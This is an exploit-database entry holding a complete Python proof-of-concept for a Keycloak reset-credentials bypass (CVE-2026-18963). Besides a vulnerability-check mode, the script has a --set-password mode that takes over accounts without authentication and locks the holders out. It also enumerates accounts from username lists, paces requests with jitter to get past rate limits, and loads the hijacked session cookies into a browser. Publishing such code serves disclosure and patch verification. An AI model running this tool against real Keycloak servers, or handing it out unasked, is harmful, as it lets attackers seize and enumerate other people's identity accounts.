Keycloak 26.7.2 – Unauthenticated Account Takeover
# Exploit Title: Keycloak 26.7.2 - Unauthenticated Account Takeover # Date: 2026-10-15 # Exploit Author: Abel Maldonado | Orevim # Vendor Homepage: https://www.keycloak.org/ # Software Link: https://github.com/keycloak/keycloak/releases/tag/26.6.2 # Version: 26.0.0 - 26.4.14, 26.5.0 - 26.6.5, 26.7.0 - 26.7.1 # Tested on: Keycloak 26.6.2 (Docker, quay.io/keycloak/keycloak:26.6.2) # CVE: CVE-2026-18963 # Advisory: https://github.com/keycloak/keycloak/security/advisories/GHSA-4gv3-mc9p-5wqc # CWE: CWE-640 (Weak Password Recovery Mechanism for Forgotten Password) # Type: webapps # Platform: multiple # Repo: https://github.com/orevim/CVE-2026-18963-PoC # Research: https://orevim.co/research#cve-2026-18963 """Proof of concept and vulnerability check for CVE-2026-18963. CVE-2026-18963 is a reset-credentials flow bypass in Keycloak. An unscoped AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED note lets an unauthenticated caller re-render the authenticator selection screen bound to the email execution. On an affected build that execution's action handler sets emailVerified and calls success() without checking the action token, so the flow reaches the update-password required action with no emailed link. Affected: >= 26.0.0 < 26.4.15, >= 26.5.0 < 26.6.6, >= 26.7.0 < 26.7.2. Patched in 26.4.15, 26.6.6 and 26.7.2; the 26.8.0 line ships with the fix. Three modes: --check decide whether the instance is affected, using a random identifier that resolves to nothing. Sends no mail and changes no account. --check --users ... additionally report which identifiers resolve. On an affected build a resolving identifier has emailVerified set as a side effect. --set-password complete the takeover. This locks the account holder out. Endpoints come from the realm's OIDC discovery document and form fields come from the forms themselves, so custom themes, custom paths and custom field names work without edits. Everything else is an option. Playwright is imported only when --open is used. """ from __future__ import annotations import argparse import base64 import dataclasses import enum import hashlib import http.client import http.cookiejar import html import json import os import random import re import secrets import socket import ssl import sys import time import urllib.error import urllib.parse import urllib.request from dataclasses import dataclass, field from html.parser import HTMLParser from pathlib import Path os.umask(0o077) # captures hold request and response material; keep them owner-only # Protocol defaults. Every one of these can be replaced from the command line. DISCOVERY_SUFFIX = ".well-known/openid-configuration" RESET_PATH_MARKER = "login-actions/reset-credentials" SELECTOR_FIELD = "tryAnotherWay=on" USERNAME_FIELD = "username" PASSWORD_FIELDS = ("password-new", "password-confirm") HTML_ACCEPT = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" class Outcome(enum.Enum): NOT_VULNERABLE = "not-vulnerable" ACCOUNT_ABSENT = "account-absent" FORM_REACHED = "form-reached" PASSWORD_SET = "password-set" RATE_LIMITED = "rate-limited" INCONCLUSIVE = "inconclusive" @dataclass class Target: url: str | None = None realm: str | None = None discovery_url: str | None = None auth_url: str | None = None reset_url: str | None = None client_id: str | None = None redirect_uri: str | None = None scope: str = "openid" selector_field: str = SELECTOR_FIELD username_field: str = USERNAME_FIELD password_fields: tuple[str, ...] = PASSWORD_FIELDS address: str | None = None verify_tls: bool = True timeout: float = 30.0 user_agent: str | None = None headers: dict[str, str] = field(default_factory=dict) def __post_init__(self) -> None: if self.url: self.url = self.url.rstrip("/") if not (self.auth_url or self.discovery_url or (self.url and self.realm)): raise ValueError( "give --auth-url, or --discovery-url, or both --url and --realm" ) if not self.discovery_url and self.url and self.realm: realm = urllib.parse.quote(self.realm, safe="") self.discovery_url = f"{self.url}/realms/{realm}/{DISCOVERY_SUFFIX}" def origin_of(self, url: str) -> tuple[str, int]: parts = urllib.parse.urlsplit(url) port = parts.port or (443 if parts.scheme == "https" else 80) return parts.hostname or "", port @dataclass class Step: tag: str method: str url: str status: int location: str | None = None retries: int = 0 @dataclass class Result: outcome: Outcome identifier: str = "" steps: list[Step] = field(default_factory=list) form_url: str | None = None authorization_code: str | None = None session_cookies: list[str] = field(default_factory=list) detail: str = "" def as_dict(self) -> dict: data = dataclasses.asdict(self) data["outcome"] = self.outcome.value return data class ExploitError(RuntimeError): """The chain could not continue because a page did not carry what it needs.""" class RateLimited(RuntimeError): """The edge refused the request often enough that the run cannot continue.""" class Response: __slots__ = ("status", "headers", "body", "url", "retries") def __init__(self, status, headers, body, url, retries=0): self.status = status self.headers = headers self.body = body self.url = url self.retries = retries @property def location(self) -> str | None: return self.headers.get("Location") @dataclass class Form: action: str method: str fields: dict[str, str] def password_inputs(self) -> list[str]: return [name for name, value in self.fields.items() if value == "\x00password"] def body(self, overrides: dict[str, str]) -> str: data = { name: ("" if value.startswith("\x00") else value) for name, value in self.fields.items() } data.update(overrides) return urllib.parse.urlencode(data) class _FormParser(HTMLParser): """Collect every form with its action, method and input fields. An input whose type is password or which carries no value is recorded with a sentinel so the caller can tell an empty field from one the page filled in. """ def __init__(self, base: str) -> None: super().__init__(convert_charrefs=True) self.base = base self.forms: list[Form] = [] self.links: list[str] = [] self._current: Form | None = None def handle_starttag(self, tag: str, attrs) -> None: values = {key.lower(): (value or "") for key, value in attrs} if tag == "form": action = urllib.parse.urljoin(self.base, values.get("action", "")) self._current = Form(action, values.get("method", "post").lower(), {}) self.forms.append(self._current) elif tag == "a" and values.get("href"): self.links.append(urllib.parse.urljoin(self.base, values["href"])) elif tag in ("input", "textarea", "select") and self._current is not None: name = values.get("name") if not name or values.get("type") in ("submit", "button", "image"): return if values.get("type") == "password": self._current.fields[name] = "\x00password" else: self._current.fields[name] = values.get("value") or "\x00empty" def handle_endtag(self, tag: str) -> None: if tag == "form": self._current = None def parse_page(body: str, base: str) -> _FormParser: parser = _FormParser(base) parser.feed(body) return parser def _unescape_js(value: str) -> str: value = re.sub(r"\\u([0-9a-fA-F]{4})", lambda m: chr(int(m.group(1), 16)), value) return html.unescape(value.replace("\\/", "/")) def kc_context_url(body: str, key: str, base: str) -> str | None: """Read a URL out of the kcContext object a Keycloak theme embeds. A single page application theme renders no server-side form, so the action exists only in that object. Its keys are serialized as JSON, so one pattern is enough and avoids parsing the surrounding JavaScript. """ match = re.search(rf'["\']{re.escape(key)}["\']\s*:\s*"([^"]+)"', body) return urllib.parse.urljoin(base, _unescape_js(match.group(1))) if match else None def form_body(form: Form | None, overrides: dict[str, str]) -> str: return form.body(overrides) if form else urllib.parse.urlencode(overrides) class Pacer: """Space requests out and settle on a rate the edge tolerates. Retrying a 429 at the rate that caused it just earns another 429, so the interval grows on every throttle and stays grown. It shrinks back toward the requested rate only after a run of clean responses, and never goes faster than the rate asked for or slower than the floor. """ def __init__(self, rate: float = 0.5, floor_rate: float = 0.05, jitter: float = 0.25, max_retries: int = 4, slow_factor: float = 2.0, recover_after: int = 8, recover_factor: float = 1.4) -> None: self.min_interval = 1.0 / rate if rate > 0 else 0.0 self.max_interval = 1.0 / floor_rate if floor_rate > 0 else 600.0 self.interval = self.min_interval self.jitter = jitter self.max_retries = max_retries self.slow_factor = max(1.1, slow_factor) self.recover_after = recover_after self.recover_factor = max(1.01, recover_factor) self.throttled = 0 self.slowdowns = 0 self._streak = 0 self._last = 0.0 @property def rate(self) -> float: return 1.0 / self.interval if self.interval > 0 else 0.0 def wait(self) -> None: if self.interval <= 0: return gap = self.interval if self.jitter: gap *= 1.0 + random.uniform(-self.jitter, self.jitter) remaining = gap - (time.monotonic() - self._last) if remaining > 0: time.sleep(remaining) def mark(self) -> None: self._last = time.monotonic() def on_success(self) -> None: if self.interval <= self.min_interval: return self._streak += 1 if self._streak >= self.recover_after: self.interval = max(self.min_interval, self.interval / self.recover_factor) self._streak = 0 def on_throttle(self, retry_after: str | None) -> float: """Widen the interval and return how long to sleep before retrying.""" self.throttled += 1 self._streak = 0 widened = min(self.max_interval, max(self.interval, 1.0) * self.slow_factor) if widened > self.interval: self.slowdowns += 1 self.interval = widened if retry_after: try: return max(0.0, float(retry_after)) except ValueError: pass return self.interval def report(self) -> dict: return { "requested_rate": round(1.0 / self.min_interval, 4) if self.min_interval else 0.0, "effective_rate": round(self.rate, 4), "throttled": self.throttled, "slowdowns": self.slowdowns, } class _PinnedHTTPSConnection(http.client.HTTPSConnection): """Connect to a fixed address while keeping the Host header and SNI.""" def __init__(self, host, *, address, **kwargs): super().__init__(host, **kwargs) self._address = address def connect(self) -> None: self.sock = socket.create_connection((self._address, self.port), self.timeout) self.sock = self._context.wrap_socket(self.sock, server_hostname=self.host) class _PinnedHTTPSHandler(urllib.request.HTTPSHandler): def __init__(self, address: str, context: ssl.SSLContext) -> None: super().__init__(context=context) self._address = address self._ssl_context = context def https_open(self, req): def build(host, **kwargs): kwargs.pop("context", None) return _PinnedHTTPSConnection( host, address=self._address, context=self._ssl_context, **kwargs ) return self.do_open(build, req) class _NoRedirect(urllib.request.HTTPRedirectHandler): def redirect_request(self, req, fp, code, msg, headers, newurl): return None class Exploit: """Drives the reset-credentials chain against one realm. One instance holds one cookie jar, so build a new instance per identifier. """ def __init__(self, target: Target, pacer: Pacer | None = None, out_dir: Path | None = None) -> None: self.target = target self.pacer = pacer or Pacer() self.out_dir = out_dir self.jar = http.cookiejar.CookieJar() self.steps: list[Step] = [] self.throttle_events = 0 self.started = 0.0 self._counter = 0 self._discovery: dict | None = None context = ssl.create_default_context() if not target.verify_tls: context.check_hostname = False context.verify_mode = ssl.CERT_NONE handlers: list[urllib.request.BaseHandler] = [ urllib.request.HTTPCookieProcessor(self.jar), _NoRedirect(), ] handlers.append( _PinnedHTTPSHandler(target.address, context) if target.address else urllib.request.HTTPSHandler(context=context) ) self._opener = urllib.request.build_opener(*handlers) if out_dir: out_dir.mkdir(parents=True, exist_ok=True) def request(self, tag: str, url: str, data: str | None = None, accept: str = HTML_ACCEPT) -> Response: method = "POST" if data is not None else "GET" attempt = 0 while True: self.pacer.wait() request = urllib.request.Request( url, data=data.encode() if data is not None else None, method=method ) request.add_header("Accept", accept) if self.target.user_agent: request.add_header("User-Agent", self.target.user_agent) for name, value in self.target.headers.items(): request.add_header(name, value) if data is not None: request.add_header( "Content-Type", "application/x-www-form-urlencoded" ) try: raw = self._opener.open(request, timeout=self.target.timeout) status, headers, body = raw.status, raw.headers, raw.read() except urllib.error.HTTPError as exc: status, headers, body = exc.code, exc.headers, exc.read() finally: self.pacer.mark() if status != 429: self.pacer.on_success() break self.throttle_events += 1 if attempt >= self.pacer.max_retries: break delay = self.pacer.on_throttle(headers.get("Retry-After")) attempt += 1 time.sleep(delay) if status == 429: raise RateLimited( f"the edge answered 429 at step {tag} after {attempt} retries, " f"with the interval widened to {self.pacer.interval:.1f}s; lower " "--rate or raise --retries" ) response = Response( status, headers, body.decode("utf-8", "replace"), url, attempt ) self._counter += 1 self.steps.append(Step(tag, method, url, status, response.location, attempt)) self._capture(tag, request, response) return response def _capture(self, tag: str, request, response: Response) -> None: if not self.out_dir: return name = f"{self._counter:02d}-{tag}" head = [f"{request.get_method()} {request.full_url}"] head += [f"{key}: {value}" for key, value in request.header_items()] head += ["", f"HTTP {response.status}"] head += [f"{key}: {value}" for key, value in response.headers.items()] (self.out_dir / f"{name}.headers").write_text("\n".join(head), "utf-8") (self.out_dir / f"{name}.body").write_text(response.body, "utf-8") def discovery(self) -> dict: if self._discovery is None: if not self.target.discovery_url: raise ExploitError("no discovery URL and no --auth-url") response = self.request( "discovery", self.target.discovery_url, accept="application/json" ) if response.status != 200: raise ExploitError( f"discovery returned HTTP {response.status}; pass --auth-url " "to skip discovery" ) try: self._discovery = json.loads(response.body) except json.JSONDecodeError as exc: raise ExploitError(f"discovery is not JSON: {exc}") from exc return self._discovery def authorization_url(self) -> str: if self.target.auth_url: return self.target.auth_url endpoint = self.discovery().get("authorization_endpoint") if not endpoint: raise ExploitError("discovery carries no authorization_endpoint") if not self.target.client_id: raise ExploitError("--client-id is required unless --auth-url is given") redirect_uri = self.target.redirect_uri if not redirect_uri: issuer = self.discovery().get("issuer") or "" redirect_uri = f"{issuer.rstrip('/')}/account/" verifier = base64.urlsafe_b64encode(secrets.token_bytes(32)).rstrip(b"=") digest = hashlib.sha256(verifier).digest() query = urllib.parse.urlencode( { "client_id": self.target.client_id, "redirect_uri": redirect_uri, "response_type": "code", "scope": self.target.scope, "state": secrets.token_urlsafe(16), "code_challenge": base64.urlsafe_b64encode(digest) .rstrip(b"=") .decode(), "code_challenge_method": "S256", } ) joiner = "&" if "?" in endpoint else "?" return f"{endpoint}{joiner}{query}" def _reset_url(self) -> str: if self.target.reset_url: return self.target.reset_url login = self.request("login", self.authorization_url()) for href in parse_page(login.body, login.url).links: if RESET_PATH_MARKER in href: return href from_context = kc_context_url( login.body, "loginResetCredentialsUrl", login.url ) if from_context: return from_context raise ExploitError( "the login page carries no reset-credentials link and no " "loginResetCredentialsUrl, so either password recovery is disabled or " "the theme renders it differently; pass --reset-url" ) @staticmethod def _action(response: Response, what: str) -> tuple[str, Form | None]: """Return where to post next, from the form or from kcContext. A single page application theme renders no form element, so the action lives only in kcContext. Without a form there are no fields to carry, and the caller posts only what it overrides. """ page = parse_page(response.body, response.url) if page.forms: return page.forms[0].action, page.forms[0] action = kc_context_url(response.body, "loginAction", response.url) if action: return action, None raise ExploitError(f"the {what} page carries no form and no loginAction") def _negative(self, identifier: str, detail: str) -> Result: """A negative verdict is only sound if nothing was throttled. A 429 mid-chain costs a backoff, and Keycloak expires the authentication session on its own clock, so a chain that resumes after a long sleep can return the page a patched build returns. Reporting that as not affected is the one failure mode a check tool must not have. """ if self.throttle_events: return Result( Outcome.INCONCLUSIVE, identifier, self.steps, detail=( f"{detail}, but {self.throttle_events} request(s) were throttled " "first and the authentication session may have expired during " "the backoff; re-run at a lower --rate before believing this" ), ) return Result(Outcome.NOT_VULNERABLE, identifier, self.steps, detail=detail) def run(self, identifier: str, new_password: str | None = None) -> Result: self.started = time.monotonic() reset_url = self._reset_url() reset = self.request("reset", reset_url) action, form = self._action(reset, "reset") # The selector note is written here. Posting authenticationExecution # instead switches execution and re-sends mail without reaching the defect. selector_pair = dict(urllib.parse.parse_qsl(self.target.selector_field)) selector = self.request("tryanother", action, form_body(form, selector_pair)) action, form = self._action(selector, "selector") fields = form.fields if form else {} username_field = next( (name for name in fields if name.lower() == "username"), next((name for name, value in fields.items() if value == "\x00empty"), self.target.username_field), ) self.request("username", action, form_body(form, {username_field: identifier})) reentry = self.request("reenter", reset_url) try: action, _ = self._action(reentry, "re-entry") except ExploitError: return self._negative( identifier, "re-entry rendered no selector, so the stale note was not honored", ) # The empty body is the exploit. A populated body answers a challenge # instead of invoking the handler. advanced = self.request("action", action, "") if advanced.status == 400: return Result( Outcome.ACCOUNT_ABSENT, identifier, self.steps, detail="handler reached with no action token and no resolving user", ) if not (300 <= advanced.status < 400 and advanced.location): return self._negative( identifier, f"the empty post returned HTTP {advanced.status} and did not advance", ) form_page = self.request( "required-action", urllib.parse.urljoin(advanced.url, advanced.location) ) action, form = self._action(form_page, "required-action") result = Result( Outcome.FORM_REACHED, identifier, self.steps, form_url=form_page.url, detail="the set-password form was reached without an emailed token", ) if new_password is None: return result # A theme that renders no form still posts to the server-side action, # which reads the field names the required action defines. names = (form.password_inputs() if form else []) or self.target.password_fields final = self.request( "setpassword", action, form_body(form, {name: new_password for name in names}), ) if not (300 <= final.status < 400 and final.location): result.detail = ( f"the form returned HTTP {final.status} rather than a redirect, which " "a password policy such as a reuse history will do" ) return result query = urllib.parse.parse_qs(urllib.parse.urlsplit(final.location).query) result.outcome = Outcome.PASSWORD_SET result.authorization_code = query.get("code", [None])[0] result.session_cookies = sorted({cookie.name for cookie in self.jar}) result.form_url = final.location result.detail = "the password was changed and the realm issued a session" return result def playwright_cookies(self) -> list[dict]: cookies = [] for cookie in self.jar: cookies.append( { "name": cookie.name, "value": cookie.value or "", "domain": cookie.domain, "path": cookie.path or "/", "secure": bool(cookie.secure), } ) return cookies def browser_url(mode: str, result: Result, exploit: Exploit, override: str | None = None) -> str: """Decide where the browser should land. After --set-password the chain's last Location is a one-time authorization code bound to a PKCE verifier the browser does not hold, so opening it burns the code and fails. The account console carries the same proof with none of that, because it is reached from the SSO cookies alone. """ if override: return override if mode == "session": issuer = (exploit.discovery().get("issuer") or "").rstrip("/") if not issuer: raise ExploitError("discovery carries no issuer; pass --open-url") return f"{issuer}/account/" if not result.form_url: raise ExploitError("the chain produced no page to open") return result.form_url def open_browser(exploit: Exploit, url: str, mode: str = "form", delay: float = 0.0, hold: float = 60.0, channel: str | None = None, max_age: float = 300.0, screenshot: Path | None = None) -> bool: """Open the page in a visible browser carrying the chain's cookies. Returns whether the page that loaded is the one the mode expects. Keycloak expires the authentication session on its own clock, so the age of the chain plus the delay is checked against max_age before the browser starts. """ age = time.monotonic() - exploit.started if exploit.started else 0.0 if mode == "form" and max_age and age + delay > max_age: print( f"[!] the chain is {age:.0f}s old and the delay adds {delay:g}s, past the " f"{max_age:g}s session budget. The form will likely have expired. " "Raise --session-max-age to go ahead anyway." ) return False try: from playwright.sync_api import sync_playwright except ImportError as exc: raise ExploitError( "playwright is not installed: pip install playwright, then " "playwright install chrome" ) from exc if delay > 0: print(f"[*] waiting {delay:g}s, then opening the browser {age + delay:.0f}s " "into the session") time.sleep(delay) with sync_playwright() as driver: launch = {"headless": False} if channel: launch["channel"] = channel browser = driver.chromium.launch(**launch) context = browser.new_context( user_agent=exploit.target.user_agent, ignore_https_errors=not exploit.target.verify_tls, ) context.add_cookies(exploit.playwright_cookies()) page = context.new_page() page.goto(url, wait_until="domcontentloaded") if mode == "form": landed = page.locator("input[type=password]").count() > 0 print("[+] the set-password form is open" if landed else "[-] no password input on the page; the session has likely expired") else: landed = "login-actions" not in page.url and "/auth?" not in page.url print("[+] the session carries into the console" if landed else "[-] the console bounced to a login page, so the session was refused") if screenshot: screenshot.parent.mkdir(parents=True, exist_ok=True) page.screenshot(path=str(screenshot), full_page=True) print(f"[*] screenshot written to {screenshot}") print(f"[*] browser open for {hold:g}s") time.sleep(hold) browser.close() return landed def load_identifiers(values: list[str] | None, path: Path | None) -> list[str]: identifiers: list[str] = [] for value in values or []: identifiers += [item.strip() for item in value.split(",") if item.strip()] if path: identifiers += [ line.strip() for line in path.read_text("utf-8").splitlines() if line.strip() and not line.startswith("#") ] seen: set[str] = set() return [i for i in identifiers if not (i in seen or seen.add(i))] def run_check(target: Target, pacer: Pacer, identifiers: list[str], out_dir: Path | None) -> tuple[Result, list[Result]]: probe_id = f"{secrets.token_hex(8)}@{secrets.token_hex(4)}.invalid" print(f"[*] probing with an identifier that resolves to nothing: {probe_id}") probe = Exploit(target, pacer, _sub(out_dir, "probe")).run(probe_id) if probe.outcome is Outcome.ACCOUNT_ABSENT: print("[+] AFFECTED. The handler ran with no action token and no user.") elif probe.outcome is Outcome.FORM_REACHED: print("[+] AFFECTED. The set-password form was reached.") else: print(f"[-] NOT AFFECTED. {probe.detail}") return probe, [] if not identifiers: return probe, [] print( f"\n[!] Checking {len(identifiers)} identifiers. On an affected build a " "resolving\n identifier has emailVerified set as a side effect." ) results = [] for index, identifier in enumerate(identifiers, 1): try: result = Exploit(target, pacer, _sub(out_dir, f"id-{index:03d}")).run(identifier) except RateLimited as exc: print(f" [{index}/{len(identifiers)}] {identifier}: rate limited, stopping") results.append(Result(Outcome.RATE_LIMITED, identifier, detail=str(exc))) break except ExploitError as exc: result = Result(Outcome.INCONCLUSIVE, identifier, detail=str(exc)) mark = { Outcome.FORM_REACHED: "RESOLVES", Outcome.ACCOUNT_ABSENT: "absent", }.get(result.outcome, result.outcome.value) print(f" [{index}/{len(identifiers)}] {identifier}: {mark}") results.append(result) return probe, results def _sub(out_dir: Path | None, name: str) -> Path | None: return out_dir / name if out_dir else None def _pacing_line(pacer: Pacer) -> str: report = pacer.report() if not report["throttled"]: return f"pacing: {report['effective_rate']:g} rps, nothing throttled" return ( f"pacing: asked for {report['requested_rate']:g} rps, settled at " f"{report['effective_rate']:g} rps after {report['throttled']} throttled " f"request(s); pass --rate {report['effective_rate']:g} next time" ) def build_parser() -> argparse.ArgumentParser: parser = argparse.ArgumentParser( formatter_class=argparse.RawDescriptionHelpFormatter, description="CVE-2026-18963 proof of concept and vulnerability check.", epilog=( "examples:\n" " check an instance, changing nothing:\n" " %(prog)s --url https://sso.example.com --realm demo " "--client-id account-console --check\n\n" " check which identifiers resolve, one request every four seconds:\n" " %(prog)s --url https://sso.example.com --realm demo " "--client-id account-console \\\n" " --check --users-file names.txt --rate 0.25\n\n" " reach the set-password form and show it in a browser:\n" " %(prog)s --auth-url 'https://sso.example.com/realms/demo/...' \\\n" " --username user@example.com --open form\n" ), ) where = parser.add_argument_group("where to point it") where.add_argument("--url", help="base URL of the Keycloak server") where.add_argument("--realm", help="realm name") where.add_argument("--discovery-url", help="OIDC discovery document, overrides --url and --realm") where.add_argument("--auth-url", help="a full authorization URL, skips discovery") where.add_argument("--reset-url", help="reset-credentials URL, if the theme hides the link") where.add_argument("--client-id", help="a public client; required unless --auth-url is given") where.add_argument("--redirect-uri", help="default: the account console of the discovered issuer") where.add_argument("--scope", default="openid") who = parser.add_argument_group("who to test") who.add_argument("--username", help="one identifier, for a single run") who.add_argument("--users", action="append", metavar="A,B", help="identifiers, repeatable") who.add_argument("--users-file", type=Path, metavar="FILE", help="one identifier per line") what = parser.add_argument_group("what to do") what.add_argument("--check", action="store_true", help="decide whether the instance is affected, then test any identifiers") what.add_argument("--set-password", metavar="PASSWORD", help="complete the takeover; this locks the account holder out") pace = parser.add_argument_group("pacing") pace.add_argument("--rate", type=float, default=0.5, metavar="RPS", help="requests per second to aim for, and the ceiling the run " "never exceeds; 0 for no spacing (default: %(default)s)") pace.add_argument("--floor-rate", type=float, default=0.05, metavar="RPS", help="slowest the run will go when throttled (default: %(default)s)") pace.add_argument("--jitter", type=float, default=0.25, metavar="FRACTION", help="randomize each gap by this fraction (default: %(default)s)") pace.add_argument("--retries", type=int, default=4, metavar="N", help="retries of a single throttled request (default: %(default)s)") pace.add_argument("--slow-factor", type=float, default=2.0, metavar="X", help="widen the interval by this much per 429 (default: %(default)s)") pace.add_argument("--recover-after", type=int, default=8, metavar="N", help="clean responses before speeding back up (default: %(default)s)") pace.add_argument("--recover-factor", type=float, default=1.4, metavar="X", help="narrow the interval by this much when recovering " "(default: %(default)s)") conn = parser.add_argument_group("connection") conn.add_argument("--address", help="pin every connection to this IP address") conn.add_argument("--insecure", action="store_true", help="skip TLS verification") conn.add_argument("--timeout", type=float, default=30.0) conn.add_argument("--user-agent") conn.add_argument("--header", action="append", default=[], metavar="NAME:VALUE", help="extra request header, repeatable") conn.add_argument("--selector-field", default=SELECTOR_FIELD, metavar="K=V", help="field that opens the selector (default: %(default)s)") conn.add_argument("--username-field", default=USERNAME_FIELD, metavar="NAME", help="identifier field on the reset form, used when the theme " "renders no form to read it from (default: %(default)s)") conn.add_argument("--password-fields", default=",".join(PASSWORD_FIELDS), metavar="A,B", help="password fields the required action expects, used when " "the theme renders no form (default: %(default)s)") out = parser.add_argument_group("output") out.add_argument("--out", type=Path, help="write every request and response here") out.add_argument("--json", action="store_true", help="print results as JSON") browser = parser.add_argument_group("browser") browser.add_argument("--open", choices=("off", "form", "session"), default="off", help="show the set-password form, or the account console " "the session reaches after --set-password") browser.add_argument("--open-url", metavar="URL", help="open this instead of the page the mode picks") browser.add_argument("--open-delay", type=float, default=0.0, metavar="SECONDS", help="wait this long before the browser starts") browser.add_argument("--open-hold", type=float, default=60.0, metavar="SECONDS") browser.add_argument("--open-channel", metavar="NAME", help="playwright channel such as chrome or msedge") browser.add_argument("--session-max-age", type=float, default=300.0, metavar="SECONDS", help="refuse to open the form past this age, since the " "authentication session expires (default: %(default)s)") browser.add_argument("--screenshot", type=Path, metavar="FILE", help="save a full-page screenshot of what the browser shows") return parser def main(argv: list[str] | None = None) -> int: parser = build_parser() args = parser.parse_args(argv) identifiers = load_identifiers(args.users, args.users_file) if not args.check and not args.username: parser.error("give --username, or --check") if args.open == "session" and not args.set_password: parser.error("--open session requires --set-password") if args.set_password and args.check: parser.error("--set-password is a single-account action; drop --check") headers = {} for item in args.header: name, _, value = item.partition(":") if not value: parser.error(f"--header wants NAME:VALUE, got {item!r}") headers[name.strip()] = value.strip() password_fields = tuple( name.strip() for name in args.password_fields.split(",") if name.strip() ) if not password_fields: parser.error("--password-fields wants at least one field name") try: target = Target( url=args.url, realm=args.realm, discovery_url=args.discovery_url, auth_url=args.auth_url, reset_url=args.reset_url, client_id=args.client_id, redirect_uri=args.redirect_uri, scope=args.scope, selector_field=args.selector_field, username_field=args.username_field, password_fields=password_fields, address=args.address, verify_tls=not args.insecure, timeout=args.timeout, user_agent=args.user_agent, headers=headers, ) except ValueError as exc: parser.error(str(exc)) pacer = Pacer( rate=args.rate, floor_rate=args.floor_rate, jitter=args.jitter, max_retries=args.retries, slow_factor=args.slow_factor, recover_after=args.recover_after, recover_factor=args.recover_factor, ) exploit: Exploit | None = None try: if args.check: probe, results = run_check(target, pacer, identifiers, args.out) payload = { "probe": probe.as_dict(), "identifiers": [r.as_dict() for r in results], "pacing": pacer.report(), } if args.json: print(json.dumps(payload, indent=2)) else: if results: resolved = [ r.identifier for r in results if r.outcome is Outcome.FORM_REACHED ] print(f"\n{len(resolved)} of {len(results)} identifiers resolve") for name in resolved: print(f" {name}") print(_pacing_line(pacer)) affected = probe.outcome in (Outcome.ACCOUNT_ABSENT, Outcome.FORM_REACHED) return 0 if affected else 1 exploit = Exploit(target, pacer, args.out) result = exploit.run(args.username, args.set_password) except RateLimited as exc: print(f"rate limited: {exc}", file=sys.stderr) return 3 except ExploitError as exc: print(f"error: {exc}", file=sys.stderr) return 2 except urllib.error.URLError as exc: print(f"transport error: {exc.reason}", file=sys.stderr) return 2 if args.json: print(json.dumps(result.as_dict(), indent=2)) else: for step in result.steps: suffix = f" -> {step.location}" if step.location else "" retried = f" ({step.retries} retries)" if step.retries else "" print(f" {step.status} {step.method:4} {step.tag}{suffix}{retried}") print(f"\n{result.outcome.value}: {result.detail}") if result.authorization_code: print(f"authorization code: {result.authorization_code}") if result.session_cookies: print(f"session cookies: {', '.join(result.session_cookies)}") print(_pacing_line(pacer)) if args.open != "off" and exploit: try: open_browser( exploit, browser_url(args.open, result, exploit, args.open_url), mode=args.open, delay=args.open_delay, hold=args.open_hold, channel=args.open_channel, max_age=args.session_max_age, screenshot=args.screenshot, ) except ExploitError as exc: print(f"browser: {exc}", file=sys.stderr) return 0 if result.outcome in (Outcome.FORM_REACHED, Outcome.PASSWORD_SET) else 1 if __name__ == "__main__": sys.exit(main()) |